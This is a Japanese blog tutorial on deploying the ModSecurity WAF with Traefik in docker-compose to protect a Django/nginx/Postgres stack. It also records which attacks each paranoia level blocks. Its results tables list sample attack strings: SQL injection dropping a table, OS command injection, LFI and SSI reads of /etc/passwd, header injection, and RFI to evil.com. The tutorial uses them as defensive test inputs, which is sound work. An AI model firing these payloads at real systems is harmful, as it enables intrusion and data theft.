docker docker-compose WAF

DjangoのWEBアプリに対する攻撃をWAF「ModSecurity」で検知およびブロックする手順

2023年11月26日



目的

外部公開するWebアプリサービスに対する攻撃検知遮断機能を持つOSSのWAFであるModsecurityを利用して、djangoサーバに対する攻撃を検知およびブロックする

環境

  • docker/docker-compose環境
  • WAFおよびバックエンドサーバ:192.168.9.10
  • Modsecurity(OSSのホスト型WAF)
    OWASPが提供するdockerプロジェクトを利用する(https://github.com/acouvreur/traefik-modsecurity-plugin/tree/main
  • OWASP版Modsecurityのコンポーネントは以下
    ・traefic:クライアントからバックエンドのdjangoサーバに対するアクセスをロードバランス、リバースプロキシする役割
    参考:https://coders-shelf.com/traefik-intro/
    ・waf:traefixから転送されたパケットを、定義ファイルのシグネチャマッチングによる検査を通して、検知、破棄する。問題ないパケットであれば、djangoサーバへ転送する
    バックエンドサーバは、nginx,django,postgresqlの構成を使用する

    パケット転送の流れ

    
    クライアント
    ↓ ブラウザからアクセス(http://192.168.9.10:8002)
    受信ポート 8002(公開ポート)
    traefix
    ↓
    受信ポート 80
    WAF
    ↓
    受信ポート 80
    nginx
    ↓
    受信ポート 8001
    django
    ↓
    受信ポート 5432
    postgres
    

    手順

    それぞれdjangoサーバ、Modsecurityサービスを構築する

    テスト用のnginx,django,postgresをdocker-composeで構築

    以下サイトを参考にdjangoサーバを構築する

    https://create-it-myself.com/know-how/construct-nginx-django-posgresql-by-docker-compose/

    docker-compose.yml

    
      version: '3.5'
      services:
      
        nginx:
          image: nginx:latest
          container_name: nginx
          volumes:
            - ./nginx/conf:/etc/nginx/conf.d
            - ./nginx/uwsgi_params:/etc/nginx/uwsgi_params
            - ./src/static:/static
          labels:
            - traefik.enable=true
            - traefik.http.routers.nginx.rule=PathPrefix(`/`)
            - traefik.http.routers.nginx.middlewares=waf@docker
          depends_on:
            - django
          networks:
            - traefik-modsecurity-plugin_default
      
        django:
          build: ./django
          container_name: django
          expose:
            - '8001'
          volumes:
            - ./src:/code
          command: uwsgi --socket :8001 --module mysite.wsgi
          depends_on:
            - db
          networks:
            - traefik-modsecurity-plugin_default
      
        db:
          image: postgres:latest
          container_name: db
          volumes:
            - ./db/dbdata:/var/lib/postgresql/data
          expose:
            - '5432'
          environment:
            - POSTGRES_USER=postgres
            - POSTGRES_PASSWORD=postgres
            - POSTGRES_DB=testDB
          networks:
            - traefik-modsecurity-plugin_default
      
      networks:
        traefik-modsecurity-plugin_default:
          external: true
      
    nginx
    • labelsセクションでModsecurityのルールを識別する
    • traefik.enable=true
      → traefixにリバプロしてもらうために必要
    • traefik.http.routers.nginx.rule=PathPrefix(/)
      → ルートディレ以下すべてへのアクセスをnginxに通す
    • traefik.http.routers.nginx.middlewares=waf@docker
      → nginx宛の全トラフィックをwafに通す
    networks
  • Modsecurityコンテナと共通のtraefik-modsecurity-plugin_defaultを定義する。各コンテナにも記述する

    ModSecurityをdocker-composeで構築

    URLからローカルの作業フォルダにクローンする

    
      git clone https://github.com/acouvreur/traefik-modsecurity-plugin.git
      

    初期状態では、dammyのwebサイトへのアクセスを検知する設定になっているので、変更する

    docker-compose.yml

    
      version: "3.7"
    
      services:
        traefik:
          image: traefik
          ports:
            - "8002:80"
            - "8080:8080"
          command:
            - --api.dashboard=true
            - --api.insecure=true
            - --experimental.plugins.traefik-modsecurity-plugin.modulename=github.com/acouvreur/traefik-modsecurity-plugin
            - --experimental.plugins.traefik-modsecurity-plugin.version=v
    1.3.0
            - --providers.docker=true
            - --entrypoints.http.address=:80
          volumes:
            - '/var/run/docker.sock:/var/run/docker.sock'
          labels:
            - traefik.enable=true
            - traefik.http.services.traefik.loadbalancer.server.port=8080
            - traefik.http.middlewares.waf.plugin.traefik-modsecurity-plugin.modSecurityUrl=http://waf:80
            - traefik.http.middlewares.waf.plugin.traefik-modsecurity-plugin.maxBodySize=10485760
      
        waf:
          image: owasp/modsecurity-crs:apache
          environment:
            - PARANOIA=4
            - ANOMALY_INBOUND=10
            - ANOMALY_OUTBOUND=5
            - BACKEND=http://nginx
          networks:                          ※不要?
            - traefik-modsecurity-plugin_default
      
      networks:
        traefik-modsecurity-plugin_default:
          external: true
    

    traefic

    • labelsセクションでModsecurityのルールを識別する

    waf

    • PARANOIA=
      → ルールの厳格さのレベル(1〜4)。4が最も厳格だが誤検知の可能性有り。1が最も寛容だが検知漏れの可能性あり
    • BACKEND=
      → djangoサーバのURLを指定する。networkを共通にしているため、コンテナ名の「nginx」で名前解決可能

    networks

    • djangoサーバと共通のtraefik-modsecurity-plugin_defaultを定義する

    ModSecurityを起動する

    共通のnetworks「traefik-modsecurity-plugin_default」をdjangoサーバが起動する前に作成する必要がある。そのため、Modsecurityコンテナを先に起動する

    
      $ pwd
      ~/work/traefik-modsecurity-plugin
      
      $ docker-compose up -d
      

    djangoサーバを起動する

    
      $ pwd
      ~/work/django-nginx-postgres
      
      $ docker-compose up -d
      

    正常確認

    以下のようにコンテナが起動していること

    
      $ docker ps
      CONTAINER ID   IMAGE                          COMMAND                  CREATED      STATUS                PORTS                                                                              NAMES
      42d89bcf9c3f   nginx:latest                   "/docker-entrypoint.…"   2 days ago   Up 2 days             80/tcp                                                                             nginx
      07e2a157307e   django-nginx-postgres_django   "uwsgi --socket :800…"   2 days ago   Up 2 days             8001/tcp                                                                           django
      83b62d35196f   postgres:latest                "docker-entrypoint.s…"   2 days ago   Up 2 days             5432/tcp                                                                           db
      1deb2f6e42db   owasp/modsecurity-crs:apache   "/docker-entrypoint.…"   2 days ago   Up 2 days (healthy)   80/tcp                                                                             traefik-modsecurity-plugin_waf_1
      549821c50d70   traefik                        "/entrypoint.sh --ap…"   2 days ago   Up 2 days             0.0.0.0:8080->8080/tcp, :::8080->8080/tcp, 0.0.0.0:8002->80/tcp, :::8002->80/tcp   traefik-modsecurity-plugin_traefik_1
      

    ブラウザで、「http://192.168.9.10:8002」にアクセスして、djangoのロケットページが表示されること

  • 攻撃テスト結果一覧

    クライアントからブラウザで以下のURLにアクセスして、WAFのdockerログで検知状態を確認する。攻撃時は「403 Forbidden」となり、ログに出力されていること

    $ docker logs traefik-modsecurity-plugin_waf_1
    [Fri Nov 17 08:18:39.964636 2023] [security2:error] [pid 40:tid 140106547566272] [client 192.168.160.3:33886] [client 192.168.160.3] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:test. [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:test: ../etc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "waf"] [uri "/"] [unique_id "ZVch3_Lkmik5G02w7qq0WAAAAJM"]
    

    ログの見方

    「file “/etc/modsecurity.d/owasp-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf」による検知ルールにマッチ
    「msg “Path Traversal Attack (/../)”」パストラバーサルアタックに該当

パラノイアレベル4での検証結果

ほぼ全ての攻撃は403 Forbiddenで検知、遮断している

攻撃名 クエリ文字 HTTPレスポンスコード 検知した定義ファイル 検知コード
Path Traversal /?test=../etc 403 REQUEST-930-APPLICATION-ATTACK-LFI.conf [msg “Path Traversal Attack (/../)”] [data “Matched Data: ../ found within ARGS:test: ../etc”]
SQL Injection /?name=admin%27;%20DROP%20TABLE%20users;– 403 REQUEST-942-APPLICATION-ATTACK-SQLI.conf [msg “Detects basic SQL authentication bypass attempts 1/3”]
XSS /?image=\ 403 REQUEST-941-APPLICATION-ATTACK-XSS.conf [msg “NoScript XSS InjectionChecker: HTML Injection”]
File Upload /?upload?file=evil.php 403 REQUEST-920-PROTOCOL-ENFORCEMENT.conf [msg “Invalid character in request (outside of very strict set)”
なりすまし /?login?username=admin&password=password 403 REQUEST-920-PROTOCOL-ENFORCEMENT.conf [msg “Invalid character in request (outside of very strict set)”
httpヘッダInjection /?to=home%0D%0ASe-Cookie:%20SID=abcd1234 403 REQUEST-921-PROTOCOL-ATTACK.conf [msg “HTTP Header Injection Attack via payload (CR/LF detected)”] [data “Matched Data: \\x0d found within ARGS_GET:to: home\\x0d\\x0aSe-Cookie: SID=abcd1234”]
OSコマンドInjection /?¶meter=\`sleep%2010\`& 403 REQUEST-932-APPLICATION-ATTACK-RCE.conf [msg “Remote Command Execution: Windows Command Injection”] [data “Matched Data: \`sleep found within ARGS:parameter: \`sleep 10\`”]
SSI Injection /?%3C!–%20#include%20virtual=%22/etc/passwd%22%20–%3E 403 REQUEST-941-APPLICATION-ATTACK-XSS.conf [msg “Node-Validator Blacklist Keywords”][data “Matched Data: <!– found within ARGS_NAMES:<!– : <!– “]
LDAP Injection /?(&(!(objectClass=Impresoras))(uid=*)) 403 REQUEST-942-APPLICATION-ATTACK-SQLI.conf [msg “Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (6)”] [data “Matched Data: ))(uid=*) found within ARGS:(!(objectClass: Impresoras))(uid=*))”] [msg “Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (6)”] [data “Matched Data: ))(uid=*) found within ARGS:(!(objectClass: Impresoras))(uid=*))”]
LFI /?php=/etc/passwd 403 REQUEST-930-APPLICATION-ATTACK-LFI.conf [msg “OS File Access Attempt”] [data “Matched Data: etc/passwd found within ARGS:php: /etc/passwd”]
RFI /index.php?page=http://evil.com/attack.txt 403 REQUEST-931-APPLICATION-ATTACK-RFI.conf [msg “Possible Remote File Inclusion (RFI) Attack: Off-Domain Reference/Link”]

簡易表

パラノイアレベルは1〜4段階
評価基準
– ◎:HTTPステータスコード403、404で検知してブロックしている
– △:検知はしているが、200OKでアクセス可能
– ☓:検知せず、200OKでアクセス可能

パラノイアレベル4での検証結果

攻撃名 HTTPレスポンスコード 結果
Path Traversal 403
SQL Injection 403
XSS 403
File Upload 200
なりすまし 200
DoS
httpヘッダInjection 403
OSコマンドInjection 403
SSI Injection 403
LDAP Injection 403
メールヘッダInjection 403
LFI 403
RFI 403⭐︎

パラノイアレベル3での検証結果

攻撃名 HTTPレスポンスコード 結果
Path Traversal 403
SQL Injection 403
XSS 403
File Upload 200 ✖️
なりすまし 200 ✖️
DoS
httpヘッダInjection 403
OSコマンドInjection 403
SSI Injection 403
LDAP Injection 403
メールヘッダInjection 403
LFI 403
RFI 404

パラノイアレベル2での検証結果

攻撃名 HTTPレスポンスコード 結果
Path Traversal 403
SQL Injection 403
XSS 403
File Upload 200 ✖️
なりすまし 200 ✖️
DoS
httpヘッダInjection 403
OSコマンドInjection 403
SSI Injection 403
LDAP Injection 403 ✖️
メールヘッダInjection 403
LFI 403
RFI 404

パラノイアレベル1での検証結果

攻撃名 HTTPレスポンスコード 結果
Path Traversal 403
SQL Injection 403
XSS 403
File Upload 200 ✖️
なりすまし 200 ✖️
DoS
httpヘッダInjection 403
OSコマンドInjection 403
SSI Injection 403
LDAP Injection 403 ✖️
メールヘッダInjection 403
LFI 403
RFI 404 ✖️

CATEGORIES & TAGS

docker, docker-compose, WAF,

Author:


comment

メールアドレスが公開されることはありません。 が付いている欄は必須項目です

関連記事

カテゴリー

むるし

フリーランスのインフラ系エンジニア。
備忘録で色々書いていきます。
お問い合わせは↓
mo-gyu@murci.net
LPIC303 Security
%d人のブロガーが「いいね」をつけました。